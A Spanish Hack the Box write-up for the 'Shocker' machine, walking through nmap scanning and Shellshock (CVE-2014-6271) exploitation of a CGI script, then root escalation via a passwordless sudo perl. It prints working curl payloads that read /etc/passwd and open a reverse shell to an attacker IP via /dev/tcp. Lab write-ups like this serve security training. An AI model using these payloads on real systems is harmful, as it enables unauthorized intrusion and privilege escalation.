En este writeup vamos a ver cómo resolver la máquina Shocker de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb-vip.ovpn
Capturar User Flag
Si ponemos la IP en el navegador web veremos la siguiente página:
Ver el código fuente tampoco nos da mucha más información:
Así que vamos a pasarle un nmap a ver que hay abierto:
$ sudo nmap -sC -sV -n 10.10.10.56
Nos devuelve la siguiente información:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-04 12:21 CET
Nmap scan report for 10.10.10.56
Host is up (0.048s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.61 seconds
Vemos que tiene el puerto 80 abierto servido por un Apache 2.4.18 y también el puerto 2222 con un OpenSSH
Si lanzamos el script ssh-auth-methods de nmap veremos que dos formas tiene configurado para loguearse:
$ nmap -p 2222 --script ssh-auth-methods --script-args="ssh.user=anonymous" 10.10.10.56
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-04 12:24 CET
Nmap scan report for 10.10.10.56
Host is up (0.051s latency).
PORT STATE SERVICE
2222/tcp open EtherNetIP-1
| ssh-auth-methods:
| Supported authentication methods:
| publickey
|_ password
Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds
Vamos a lanzar dirbuster para rastrear directorios y ficheros sh del sitio:
Encontramos que existe un fichero en la ruta http://10.10.10.56/cgi-bin/user.sh
Si hacemos una búsqueda en google “cve cgi-bin sh” encontraremos un repositorio de github en el que explica cómo explotar la vulnerabilidad Shellshock.
https://github.com/opsxcq/exploit-CVE-2014-6271
Para testear si el objetivo es vulnerable a ShellShock lanzamos la siguiente petición CURL
$ curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://10.10.10.56/cgi-bin/user.sh
Con este comando obtenemos el fichero /etc/passwd por lo ahora hay que tratar de conseguir una shell reversa.
En una terminal nueva abrimos netcat:
$ nc -nlvp 4444
En otra terminal lanzamos la siguiente petición CURL:
$ curl -A "() { :; }; /bin/bash -i > /dev/tcp/10.10.14.7/4444 0<&1 2>&1" http://10.10.10.56/cgi-bin/user.sh
Con esto acabamos de conseguir la conexión inversa y como podemos comprobar estamos dentro del servidor
Si hacemos un sudo -l veremos que tiene acceso como root sin password al binario de perl.
Esto quiere decir que podemos usar esto para escalar privilegios.
Si ejecutamos la siguiente línea conseguiremos acceso root:
shelly@Shocker:/usr/lib/cgi-bin$ sudo /usr/bin/perl -e 'exec
"/bin/bash";'
sudo /usr/bin/perl -e 'exec "/bin/bash";'
whoami
root
pwd
/usr/lib/cgi-bin
id
uid=0(root) gid=0(root) groups=0(root)
Tan solo nos tenemos que dirigir a /home/shelly para obtener el fichero user.txt y así la User Flag
Capturar Root Flag
Nos dirigimos a /root y ahí estará el fichero root.txt con la ROOT Flag